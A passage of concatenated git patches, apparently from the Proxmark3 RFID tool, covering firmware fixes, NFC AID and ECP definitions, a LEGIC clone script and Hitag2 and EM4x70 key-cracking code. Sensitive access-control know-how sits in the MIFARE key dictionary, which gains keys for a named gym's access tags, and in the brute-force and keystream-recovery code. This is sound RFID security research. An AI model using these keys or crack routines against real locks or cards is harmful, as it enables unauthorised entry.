Subject: [PATCH 075/157] swapped out to use bigbuff memory allocation and also show an empty message --- CHANGELOG.md | 3 ++- armsrc/spiffs.c | 18 +++++++++++++----- 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a4710aeae..ff3639ea6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Change `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) +- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001) +- Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) - Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001) - Fixed `lf hitag crack2` - now works. (@iceman1001) - Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001) diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index 3154bfc0f..fbbf95672 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -639,24 +639,32 @@ void rdv40_spiffs_safe_print_tree(void) { struct spiffs_dirent e; struct spiffs_dirent *pe = &e; + char *resolvedlink = (char *)BigBuf_calloc(11 + SPIFFS_OBJ_NAME_LEN); + char *linkdest = (char *)BigBuf_calloc(SPIFFS_OBJ_NAME_LEN); + bool printed = false; + SPIFFS_opendir(&fs, "/", &d); while ((pe = SPIFFS_readdir(&d, pe))) { - char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN]; + memset(resolvedlink, 0, sizeof(resolvedlink)); + if (rdv40_spiffs_is_symlink((const char *)pe->name)) { - char linkdest[SPIFFS_OBJ_NAME_LEN]; + read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); sprintf(resolvedlink, "(.lnk) --> %s", linkdest); // Kind of stripping the .lnk extension strtok((char *)pe->name, "."); - } else { - memset(resolvedlink, 0, sizeof(resolvedlink)); } - Dbprintf("[%04x]\t " _YELLOW_("%i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); + Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); + printed = true; + } + if (printed == false) { + DbpString(""); } SPIFFS_closedir(&d); rdv40_spiffs_lazy_mount_rollback(changed); + BigBuf_free(); } void rdv40_spiffs_safe_wipe(void) { From 7570f4a87c338bf6af1be2e51b3ec09508faaaee Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Tue, 21 May 2024 22:44:53 +0300 Subject: [PATCH 076/157] add new AID & ECP definitions --- client/resources/aidlist.json | 44 +++++++++- client/resources/ecp_taxonomy.json | 126 +++++++++++++++++++++++++++++ client/resources/ecplist.json | 5 ++ 3 files changed, 173 insertions(+), 2 deletions(-) create mode 100644 client/resources/ecp_taxonomy.json diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index a4a58d9f2..9b6d58317 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -2284,7 +2284,7 @@ "Vendor": "Apple", "Country": "", "Name": "Apple Home Key Framework", - "Description": "Home Key configuration applet. Selected after a first transaction on a newely-invited device (allegedly for mailbox sync/attestation exchange)", + "Description": "Home Key configuration applet. Used for attestation exchange", "Type": "" }, { @@ -2292,7 +2292,39 @@ "Vendor": "Apple", "Country": "", "Name": "Apple Home Key", - "Description": "NFC Home Key for select HomeKit-compatible locks", + "Description": "NFC Home Key for select HomeKit-compatible locks based on Apple UnifiedAccess protocol", + "Type": "access" + }, + { + "AID": "A0000008580202", + "Vendor": "Apple", + "Country": "", + "Name": "Apple Access Key Framework", + "Description": "Access Key configuration applet. Used for attestation exchange", + "Type": "" + }, + { + "AID": "A0000008580201", + "Vendor": "Apple", + "Country": "", + "Name": "Apple Access Key", + "Description": "NFC Access Key for commercial properties based on Apple UnifiedAccess protocol", + "Type": "access" + }, + { + "AID": "A000000909ACCE5502", + "Vendor": "Connectivity Standards Alliance (CSA)", + "Country": "", + "Name": "Aliro Framework", + "Description": "Used during key provisioning, configuration, attestation exchange", + "Type": "" + }, + { + "AID": "A000000909ACCE5501", + "Vendor": "Connectivity Standards Alliance (CSA)", + "Country": "", + "Name": "Aliro", + "Description": "", "Type": "access" }, { @@ -2430,5 +2462,13 @@ "Name": "CEPAS", "Description": "Transit and e-money card used in Singapore", "Type": "transport" + }, + { + "AID": "A0000004040125", + "Vendor": "Ile-de-France Mobilites", + "Country": "France", + "Name": "Navigo", + "Description": "CALYPSO-based transit card", + "Type": "transport" } ] diff --git a/client/resources/ecp_taxonomy.json b/client/resources/ecp_taxonomy.json new file mode 100644 index 000000000..77ac67d07 --- /dev/null +++ b/client/resources/ecp_taxonomy.json @@ -0,0 +1,126 @@ +{ + "versions": { + "01": { + "tci": { + "000000": { + "id": "tci-vas-or-pay", + "name": "VAS or payment", + "description": "Used when a reader needs a pass or a payment card. Sometimes called VAS over Payment" + }, + "000001": { + "id": "tci-vas-and-pay", + "name": "VAS and payment", + "description": "Also called single tap mode. Allows reading multiple passes with different ids in one tap" + }, + "000002": { + "id": "tci-vas-only", + "name": "VAS only", + "description": "Used when a reader requests passes only" + }, + "000003": { + "id": "tci-pay-only", + "name": "VAS only", + "description": "Used when a reader requests payment cards only. Also disables express mode for chinese transit cards" + }, + "cf0000": { + "id": "tci-ignore", + "name": "Ignore", + "description": "iPhones before IOS17 emit this frame so that other apple devices don't react to the field" + } + } + }, + + "02": { + "types": { + "01": { + "id": "terminal-type-transit", + "name": "Transit", + "description": "Used by express-mode enabled transit terminals", + + "subtypes": { + "00": { + "id": "terminal-subtype-default", + "name": "Default subtype", + "description": "", + + "tci": { + "030400": { + "id": "tci-hop-fastpass", + "name": "HOP Fastpass", + "description": "" + }, + "030002": { + "id": "tci-transit-for-london", + "name": "TFL", + "description": "First publically known TCI, found by Proxmark community member" + }, + "030001": { + "id": "tci-wmata", + "name": "SmartTrip", + "description": "" + }, + "030005": { + "id": "tci-la-tapp", + "name": "LA Tap", + "description": "" + }, + "030007": { + "id": "tci-clipper", + "name": "Clipper", + "description": "" + }, + "03095a": { + "id": "tci-navigo", + "name": "Navigo", + "description": "" + } + }, + + "data": { + "length": 5, + "name": "Fallback EMV payment networks", + "description": "Bit mask of allowed EMV open loop payment cards. First byte is responsible for most popular payment networks" + } + } + } + }, + "02": { + "id": "terminal-type-access", + "name": "Access", + "description": "Used by express-mode enabled access and key readers", + + "subtypes": { + "00": { + "id": "terminal-subtype-venue", + "name": "Venue", + "description": "Used by following venues: Offices, Parks, Universities", + "tci": { + "no-info-add-if-found": "" + } + }, + "06": { + "id": "terminal-subtype-home-key", + "name": "Home Key", + "description": "Used by home key", + "tci": { + "021100": { + "id": "tci-homekey", + "name": "Home Key", + "description": "" + } + } + }, + "09": { + "id": "terminal-subtype-automotive-pairing", + "name": "Automotive", + "description": "Used by cars for access and setup", + "tci": { + "no-info-add-if-found": "" + } + } + } + } + } + } + } +} diff --git a/client/resources/ecplist.json b/client/resources/ecplist.json index 27db827f1..c6ce12b52 100644 --- a/client/resources/ecplist.json +++ b/client/resources/ecplist.json @@ -55,6 +55,11 @@ "name": "Transit: Clipper", "description": "" }, + { + "value": "6a02c8010003095a0000000000", + "name": "Transit: Navigo", + "description": "" + }, { "value": "6a02c3020002ffff", From 5a133e39bd0c9a7d8dd58700205a8337460009c6 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Wed, 22 May 2024 10:05:43 +1000 Subject: [PATCH 077/157] Added Jett's 24 Hour Fitness Updated gym list; made some minor spelling corrections. Jett's 24 Hour Fitness might also access Zap Fitness gym tags; however, I am unable to test that just yet as I have been unable to buy any of their cancelled credentials on second-hand marketplaces. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/dictionaries/mfc_default_keys.dic | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 2b9c6ba49..c8b1d4372 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -307,7 +307,7 @@ E3429281EFC1 # EPI Envisionte AAFB06045877 # -# gym +# Gyms / Fitness Clubs / Health Clubs / Wellness Centres # # Fysiken A 3E65E4FB65B3 @@ -318,8 +318,8 @@ AAFB06045877 # # https://mattionline.de/fitnessstudio-armband-reverse-engineering/ # https://mattionline.de/milazycracker/ -# gym wistband A, same as Fysiken A -# gym wistband B +# Gym Wristband A - Same as Fysiken A +# Gym Wristband B 81CC25EBBB6A 195DC63DB3A3 # @@ -330,9 +330,13 @@ A05DBD98E0FC AA4DDA458EBB EAB8066C7479 # -# Nordic Wellness A, same as Fysiken A +# Nordic Wellness A - Same as Fysiken A # Nordic Wellness B E5519E1CC92B +# +# Jett's 24 Hour Fitness S0 KA/B +# 049979614077 +# 829338771705 # # Hotel KeyCard D3B595E9DD63 From 4babe8f012be831b0da9871416508b206e19b62d Mon Sep 17 00:00:00 2001 From: Uli Heilmeier Date: Sat, 25 May 2024 16:14:01 +0200 Subject: [PATCH 078/157] fix: hf_legic_clone.lua script Fixes: #2236 --- client/luascripts/hf_legic_clone.lua | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/client/luascripts/hf_legic_clone.lua b/client/luascripts/hf_legic_clone.lua index d9a86dc81..01d44ebe6 100644 --- a/client/luascripts/hf_legic_clone.lua +++ b/client/luascripts/hf_legic_clone.lua @@ -167,12 +167,11 @@ local function help() print(ansicolors.cyan..'Example usage'..ansicolors.reset) print(example) end --- read LEGIC data -local function readlegicdata(offset, len, iv) +-- read LEGIC info +local function readlegicinfo() -- Read data - local d0 = ('%04X%04X%02X'):format(offset, len, iv) - local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_READER, data = d0} - local result, err = c:sendNG() + local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_INFO, data = nil} + local result, err = c:sendNG(false, 2000) if not result then return oops(err) end -- result is a packed data structure, data starts at offset 33 return result @@ -404,15 +403,15 @@ local function writeToTag(plainBytes) return end - readbytes = readlegicdata(0, 4, 0x55) + readbytes = readlegicinfo() -- gather MCD & MSN from new Tag - this must be enterd manually print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:") - -- readbytes is a usbcommandOLD package, hence 32 bytes offset until data. - plainBytes[1] = ('%02x'):format(readbytes:byte(33)) - plainBytes[2] = ('%02x'):format(readbytes:byte(34)) - plainBytes[3] = ('%02x'):format(readbytes:byte(35)) - plainBytes[4] = ('%02x'):format(readbytes:byte(36)) + -- readbytes is a table with uid data as hex string in Data key + plainBytes[1] = readbytes.Data:sub(1,2) + plainBytes[2] = readbytes.Data:sub(3,4) + plainBytes[3] = readbytes.Data:sub(5,6) + plainBytes[4] = readbytes.Data:sub(7,8) MCD = plainBytes[1] MSN0 = plainBytes[2] From d3d701f53886052fc3683b7dbf2518bafb981706 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 27 May 2024 15:08:49 +0200 Subject: [PATCH 079/157] the generation of NrAr is used in the regression tests. I readded the old way and if you call the hitag2_gen_nRaR.py with five params, you get the nice commands instead --- CHANGELOG.md | 1 + tools/hitag2crack/hitag2_gen_nRaR.py | 10 ++++++++++ tools/pm3_tests.sh | 1 + 3 files changed, 12 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ff3639ea6..1b1aa773a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) - Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001) - Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) - Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001) diff --git a/tools/hitag2crack/hitag2_gen_nRaR.py b/tools/hitag2crack/hitag2_gen_nRaR.py index 68256b61e..7ddc95d10 100755 --- a/tools/hitag2crack/hitag2_gen_nRaR.py +++ b/tools/hitag2crack/hitag2_gen_nRaR.py @@ -109,7 +109,17 @@ def hitag2(state, length=48): if __name__ == "__main__": import sys + if len(sys.argv) == 4: + key = int(sys.argv[1], 16) + uid = int(sys.argv[2], 16) + n = int(sys.argv[3]) + for i in range(n): + nonce = random.randrange(2**32) + state = hitag2_init(key, uid, nonce) + print('%08X %08X' % (nonce, hitag2(state, 32) ^ 0xffffffff)) + + elif len(sys.argv) == 5: key = int(sys.argv[1], 16) uid = int(sys.argv[2], 16) n = int(sys.argv[3]) diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 5c7ee8d75..a35512df4 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -256,6 +256,7 @@ while true; do if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi + if ! CheckFileExist "HITAG2 dictionary exists" "$DICPATH/ht2_default.dic"; then break; fi echo -e "\n${C_BLUE}Testing tools:${C_NC}" if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi From 8d1e9c1f5dcbc5b4687c247fe654b3f63ea44649 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 27 May 2024 15:19:22 +0200 Subject: [PATCH 080/157] adapt response struct for hitag2 so be large enough to handle 256bytes for cryptostream --- include/hitag.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/hitag.h b/include/hitag.h index 06a8de9cf..0f70d43fa 100644 --- a/include/hitag.h +++ b/include/hitag.h @@ -59,7 +59,7 @@ typedef struct { typedef struct { int status; - uint8_t data[48]; + uint8_t data[256]; } PACKED lf_hitag_crack_response_t; //--------------------------------------------------------- From 369db7c9d7fa0459fcc184efb4a09bb56bcb4bd3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 27 May 2024 20:29:02 +0200 Subject: [PATCH 081/157] style --- armsrc/dbprint.c | 5 ++- armsrc/em4x50.c | 2 +- armsrc/em4x70.c | 76 ++++++++++++++++----------------- armsrc/hitag2_crack.c | 10 ++--- armsrc/hitagS.c | 2 +- armsrc/lfsampling.c | 2 +- client/src/cmddata.c | 4 +- client/src/cmdlfem4x70.c | 10 ++--- client/src/cmdlfhitag.c | 10 ++--- client/src/cmdtrace.c | 2 +- client/src/graph.c | 8 ++-- client/src/pm3line_vocabulary.h | 2 + doc/commands.json | 45 ++++++++++++++++--- doc/commands.md | 2 + 14 files changed, 109 insertions(+), 71 deletions(-) diff --git a/armsrc/dbprint.c b/armsrc/dbprint.c index 4c58ccbdd..903adf872 100644 --- a/armsrc/dbprint.c +++ b/armsrc/dbprint.c @@ -101,9 +101,10 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) { d += 16; } #endif -}void print_result(const char *name, const uint8_t *d, size_t +} +void print_result(const char *name, const uint8_t *d, size_t - n) { + n) { const uint8_t *p = d; uint16_t tmp = n & 0xFFF0; diff --git a/armsrc/em4x50.c b/armsrc/em4x50.c index 9d4d2648d..952c39a30 100644 --- a/armsrc/em4x50.c +++ b/armsrc/em4x50.c @@ -1257,7 +1257,7 @@ static int em4x50_sim_read_bit(void) { // wait 16 cycles to make sure there is no field when reading a "0" bit uint32_t waitval = GetTicks(); - while(GetTicks() - waitval < EM4X50_T_TAG_QUARTER_PERIOD * CYCLES2TICKS); + while (GetTicks() - waitval < EM4X50_T_TAG_QUARTER_PERIOD * CYCLES2TICKS); while (cycles < EM4X50_T_TAG_THREE_QUARTER_PERIOD) { diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 6f962fe40..2f92dfbf1 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -32,47 +32,47 @@ static bool command_parity = true; #if 1 // Calculation of ticks for timing functions - // Conversion from Ticks to RF periods - // 1 us = 1.5 ticks - // 1RF Period = 8us = 12 Ticks - #define TICKS_PER_FC 12 +// Conversion from Ticks to RF periods +// 1 us = 1.5 ticks +// 1RF Period = 8us = 12 Ticks +#define TICKS_PER_FC 12 - // Chip timing from datasheet - // Converted into Ticks for timing functions - #define EM4X70_T_TAG_QUARTER_PERIOD (8 * TICKS_PER_FC) - #define EM4X70_T_TAG_HALF_PERIOD (16 * TICKS_PER_FC) - #define EM4X70_T_TAG_THREE_QUARTER_PERIOD (24 * TICKS_PER_FC) - #define EM4X70_T_TAG_FULL_PERIOD (32 * TICKS_PER_FC) // 1 Bit Period - #define EM4X70_T_TAG_TWA (128 * TICKS_PER_FC) // Write Access Time - #define EM4X70_T_TAG_DIV (224 * TICKS_PER_FC) // Divergency Time - #define EM4X70_T_TAG_AUTH (4224 * TICKS_PER_FC) // Authentication Time - #define EM4X70_T_TAG_WEE (3072 * TICKS_PER_FC) // EEPROM write Time - #define EM4X70_T_TAG_TWALB (672 * TICKS_PER_FC) // Write Access Time of Lock Bits - #define EM4X70_T_TAG_BITMOD (4 * TICKS_PER_FC) // Initial time to stop modulation when sending 0 - #define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW +// Chip timing from datasheet +// Converted into Ticks for timing functions +#define EM4X70_T_TAG_QUARTER_PERIOD (8 * TICKS_PER_FC) +#define EM4X70_T_TAG_HALF_PERIOD (16 * TICKS_PER_FC) +#define EM4X70_T_TAG_THREE_QUARTER_PERIOD (24 * TICKS_PER_FC) +#define EM4X70_T_TAG_FULL_PERIOD (32 * TICKS_PER_FC) // 1 Bit Period +#define EM4X70_T_TAG_TWA (128 * TICKS_PER_FC) // Write Access Time +#define EM4X70_T_TAG_DIV (224 * TICKS_PER_FC) // Divergency Time +#define EM4X70_T_TAG_AUTH (4224 * TICKS_PER_FC) // Authentication Time +#define EM4X70_T_TAG_WEE (3072 * TICKS_PER_FC) // EEPROM write Time +#define EM4X70_T_TAG_TWALB (672 * TICKS_PER_FC) // Write Access Time of Lock Bits +#define EM4X70_T_TAG_BITMOD (4 * TICKS_PER_FC) // Initial time to stop modulation when sending 0 +#define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW - #define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this - #define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window - #define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods) +#define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this +#define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window +#define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods) - #define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command - #define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command +#define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command +#define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command #endif // Calculation of ticks for timing functions #if 1 // EM4x70 Command IDs - /** - * These IDs are from the EM4170 datasheet. - * Some versions of the chip require a - * (even) parity bit, others do not. - * The command is thus stored only in the - * three least significant bits (mask 0x07). - */ - #define EM4X70_COMMAND_ID 0x01 - #define EM4X70_COMMAND_UM1 0x02 - #define EM4X70_COMMAND_AUTH 0x03 - #define EM4X70_COMMAND_PIN 0x04 - #define EM4X70_COMMAND_WRITE 0x05 - #define EM4X70_COMMAND_UM2 0x07 +/** + * These IDs are from the EM4170 datasheet. + * Some versions of the chip require a + * (even) parity bit, others do not. + * The command is thus stored only in the + * three least significant bits (mask 0x07). + */ +#define EM4X70_COMMAND_ID 0x01 +#define EM4X70_COMMAND_UM1 0x02 +#define EM4X70_COMMAND_AUTH 0x03 +#define EM4X70_COMMAND_PIN 0x04 +#define EM4X70_COMMAND_WRITE 0x05 +#define EM4X70_COMMAND_UM2 0x07 #endif // EM4x70 Command IDs // Constants used to determine high/low state of signal @@ -309,7 +309,7 @@ static bool check_ack(void) { // ACK 64 + 64 // NAK 64 + 48 if (check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD) && - check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) { + check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) { // ACK return true; } @@ -549,8 +549,8 @@ static bool find_listen_window(bool command) { return false; } -// *bits == array of bytes, each byte storing a single bit. -// *out == array of bytes, storing converted bits --> bytes. +// *bits == array of bytes, each byte storing a single bit. +// *out == array of bytes, storing converted bits --> bytes. // // [in, bcount(count_of_bits) ] const uint8_t *bits // [out, bcount(count_of_bits/8)] uint8_t *out diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index ed71e8ad5..e5dea8a64 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -380,7 +380,7 @@ void ht2_crack2(uint8_t *nrar_hex) { // We got 42 bits of keystream in c2->keybits. // using the 40 bits of keystream in keybits, sending commands with ever - // increasing lengths to acquire 2048 bits of key stream. + // increasing lengths to acquire 2048 bits of key stream. int kslen = 40; int res = PM3_SUCCESS; @@ -409,17 +409,17 @@ void ht2_crack2(uint8_t *nrar_hex) { uint8_t resp[4] = {0}; res = ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false); if (res != PM3_SUCCESS) { - Dbprintf("tx/rx failed, got %zu (res... %i)", n, res); + Dbprintf("tx/rx failed, got %zu (res... %i)", n, res); break; } - // convert response to binarray + // convert response to binarray hex2binarray_n((char *)e_response, (char *)resp, 4); // recover keystream from encrypted response hitag2crack_xor(c2->keybits + kslen, e_response, c2->uid, 32); - // extented with 30 bits or 3 * 10 read_p0_cmds + // extented with 30 bits or 3 * 10 read_p0_cmds hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10); kslen += 10; hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10); @@ -437,5 +437,5 @@ void ht2_crack2(uint8_t *nrar_hex) { reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t)); BigBuf_free(); - return; + return; } diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index f80c350d0..c17756d05 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -1090,7 +1090,7 @@ static void hitagS_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, ui // Dbprintf("RX0 %i:%02X.. err:%i resptime:%i", *rxlen, rx[0], errorCount, *resptime); } -static void sendReceiveHitagS( const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { +static void sendReceiveHitagS(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { LogTraceBits(tx, txlen, HITAG_T_WAIT_2, HITAG_T_WAIT_2, true); diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 8325bbed1..88787b4e1 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -538,7 +538,7 @@ int ReadLF_realtime(bool reader_field) { return_value = async_usb_write_stop(); -out: +out: LED_D_OFF(); // DoAcquisition() end diff --git a/client/src/cmddata.c b/client/src/cmddata.c index 14144c77c..1ce0aadef 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -3683,7 +3683,7 @@ static int CmdTestSaveState8(const char *Cmd) { size_t length = (rand() % 256); PrintAndLogEx(DEBUG, "Testing with length = %llu", length); - uint8_t *srcBuffer = (uint8_t*)calloc(length + 1, sizeof(uint8_t)); + uint8_t *srcBuffer = (uint8_t *)calloc(length + 1, sizeof(uint8_t)); //Set up the source buffer with random data for (int i = 0; i < length; i++) { @@ -3706,7 +3706,7 @@ static int CmdTestSaveState8(const char *Cmd) { } else { PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); } - + for (size_t i = 0; i < returnedLength; i++) { if (srcBuffer[i] != destBuffer[i]) { PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]); diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index 181dbc734..cffac044d 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -545,7 +545,7 @@ static int CmdEM4x70Brute(const char *Cmd) { "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80 (pm3 test key)\n" "lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 --> bruteforcing key bits k79...k64 (research paper key)\n" "lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 --> bruteforcing key bits k63...k48 (autorecovery test key)\n" - ); + ); void *argtable[] = { arg_param_begin, arg_lit0(NULL, "par", "Add parity bit when sending commands"), @@ -1505,22 +1505,22 @@ static int CmdEM4x70Calc(const char *Cmd) { opts.key.k[ 0], opts.key.k[ 1], opts.key.k[ 2], opts.key.k[ 3], opts.key.k[ 4], opts.key.k[ 5], opts.key.k[ 6], opts.key.k[ 7], opts.key.k[ 8], opts.key.k[ 9], opts.key.k[10], opts.key.k[11] - ); + ); snprintf( rnd_string, 15, "%02X%02X%02X%02X%02X%02X%02X", opts.rn.rn[0], opts.rn.rn[1], opts.rn.rn[2], opts.rn.rn[3], opts.rn.rn[4], opts.rn.rn[5], opts.rn.rn[6] - ); + ); snprintf( frn_string, 9, "%02X%02X%02X%02X", data.frn.frn[0], data.frn.frn[1], data.frn.frn[2], data.frn.frn[3] - ); + ); snprintf( grn_string, 7, "%02X%02X%02X", data.grn.grn[0], data.grn.grn[1], data.grn.grn[2] - ); + ); } PrintAndLogEx(SUCCESS, "KEY: %s RND: %s FRN: " _GREEN_("%s") " GRN: " _GREEN_("%s"), key_string, rnd_string, frn_string, grn_string); return PM3_SUCCESS; diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 1d79fb68f..1705bf50f 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -766,7 +766,7 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) { } -static const char* identify_transponder_hitag2(uint32_t uid) { +static const char *identify_transponder_hitag2(uint32_t uid) { switch (uid) { case 0x53505910: @@ -858,10 +858,10 @@ static int CmdLFHitagInfo(const char *Cmd) { static int CmdLFHitagReader(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf hitag reader", - "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n", - "lf hitag reader\n" - "lf hitag reader -@ -> Continuous mode" - ); + "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n", + "lf hitag reader\n" + "lf hitag reader -@ -> Continuous mode" + ); void *argtable[] = { arg_param_begin, diff --git a/client/src/cmdtrace.c b/client/src/cmdtrace.c index b4191c94d..da8382118 100644 --- a/client/src/cmdtrace.c +++ b/client/src/cmdtrace.c @@ -646,7 +646,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr // handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES // This part prints the number of bits in the trace entry for hitag. uint8_t nbits = parityBytes[0]; - + // only apply this to lesser than one byte if (data_len == 1) { diff --git a/client/src/graph.c b/client/src/graph.c index 50b31abf1..bf5a042c0 100644 --- a/client/src/graph.c +++ b/client/src/graph.c @@ -613,13 +613,13 @@ size_t restore_buffer8(buffer_savestate_t saveState, uint8_t *dest) { // Unpack the array for (size_t i = 0; i < saveState.bufferSize; i++) { dest[index++] = saveState.buffer[i]; - if(index == length) break; + if (index == length) break; dest[index++] = (saveState.buffer[i] >> 8) & 0xFF; - if(index == length) break; + if (index == length) break; dest[index++] = (saveState.buffer[i] >> 16) & 0xFF; - if(index == length) break; + if (index == length) break; dest[index++] = (saveState.buffer[i] >> 24) & 0xFF; - if(index == length) break; + if (index == length) break; } return index; diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 2cb832da4..9ab543d4a 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -623,6 +623,7 @@ const static vocabulary_t vocabulary[] = { { 0, "lf em 4x70 auth" }, { 0, "lf em 4x70 setpin" }, { 0, "lf em 4x70 setkey" }, + { 1, "lf em 4x70 calc" }, { 1, "lf em 4x70 recover" }, { 0, "lf em 4x70 autorecover" }, { 1, "lf fdxb help" }, @@ -650,6 +651,7 @@ const static vocabulary_t vocabulary[] = { { 1, "lf hitag help" }, { 1, "lf hitag list" }, { 0, "lf hitag info" }, + { 0, "lf hitag reader" }, { 1, "lf hitag test" }, { 0, "lf hitag dump" }, { 0, "lf hitag read" }, diff --git a/doc/commands.json b/doc/commands.json index 